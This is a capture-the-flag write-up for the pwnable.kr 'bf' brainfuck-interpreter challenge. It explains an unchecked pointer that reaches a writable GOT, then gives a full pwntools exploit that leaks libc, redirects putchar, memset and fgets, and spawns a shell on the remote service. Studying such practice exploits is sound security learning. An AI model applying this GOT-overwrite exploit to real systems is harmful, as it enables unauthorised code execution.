题目
I made a simple brain-fuck language emulation program written in C.
The [ ] commands are not implemented yet. However the rest functionality seems working fine.
Find a bug and exploit it to get a shell.
Download : http://pwnable.kr/bin/bf
Download : http://pwnable.kr/bin/bf_libc.so
Running at : nc pwnable.kr 9001
分析
基本分析
题目为一个brainfuck的解释器,其中使用全局变量来模拟指针位置,不过没有检测指针越界,指针一开始位于bss段,可以通过移动指针使其指向got表,因为没有开启got表只读,所以通过写got表就可以获取shell了。
不过有一个问题就是重写什么能够改写参数,这里如果改写putchar是不行的,虽然可以进入system但是没办法处理参数,所以最后的方法是将putchar改为main函数,然后再次进入main函数过程,利用将memset改为gets,将fgets改为system获取shell。
exp
题目比较简单,直接看exp即可
from pwn import *
context(os='linux', arch='i386', log_level='debug')
DEBUG = 0
if DEBUG:
p = process('./bf')
libc = ELF('/usr/lib32/libc.so.6')
else:
p = remote('pwnable.kr', 9001)
libc = ELF('./bf_libc.so')
def main():
#pwnlib.gdb.attach(p)
p.recvuntil(']')
put_char_offset = 0x8048a0a0 - 0x8048a030
payload = '.'
payload += '<' * put_char_offset
payload += '.>' * 4
payload += '<,' * 4 # write put_char
payload += '<' * 4
payload += ',>' * 4 # write memset
payload += '<' * (0x2c - 0x10 + 4)
payload += ',>' * 4 # write fgets
payload += '.' * (0x400 - len(payload) - 1)
p.send(payload)
p.recv()
if DEBUG:
leak = p.recv()[1:]
else:
p.recv()
leak = p.recv()
log.info('get:' + str(len(leak)))
log.info('leak:' + hex(u32(leak)))
putchar_pos = u32(leak)
libc_base = putchar_pos - libc.symbols['putchar']
system_addr = libc_base + libc.symbols['system']
gets_addr = libc_base + libc.symbols['gets']
main_addr = 0x08048671
log.info("libc base at:" + hex(libc_base))
packed_gadget_pos = p32(0x08048671)
# write put char
for x in (packed_gadget_pos[::-1]):
p.send(x)
# write memset
for x in p32(gets_addr):
p.send(x)
for x in p32(system_addr):
p.send(x)
p.recvuntil(']')
payload = '/bin/sh\x00'
p.send(payload)
p.interactive()
if __name__ == '__main__':
main()